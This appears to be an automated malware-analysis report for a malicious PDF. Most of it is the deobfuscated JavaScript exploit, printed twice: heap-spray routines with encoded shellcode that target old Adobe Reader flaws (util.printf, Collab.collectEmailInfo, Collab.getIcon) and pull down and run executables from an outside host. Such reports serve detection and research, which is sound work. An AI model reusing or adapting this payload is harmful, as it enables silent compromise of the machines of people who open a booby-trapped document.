var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u642F%u696D%u7274%u6779%u6961%u7564%u2E6B%u6E63%u622F%u6B68%u716F%u7473%u3376%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u642F%u696D%u7274%u6779%u6961%u7564%u2E6B%u6E63%u612F%u6865%u6F6A%u7270%u7674%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5318 bytes
SHA-256: 40321acf19664683055cb8067b34f35a4399197953717dd6e6cc410ab4a3ca6e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u642F%u696D%u7274%u6779%u6961%u7564%u2E6B%u6E63%u632F%u6E6A%u3378%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u642F%u696D%u7274%u6779%u6961%u7564%u2E6B%u6E63%u622F%u6B68%u716F%u7473%u3376%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u642F%u696D%u7274%u6779%u6961%u7564%u2E6B%u6E63%u612F%u6865%u6F6A%u7270%u7674%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.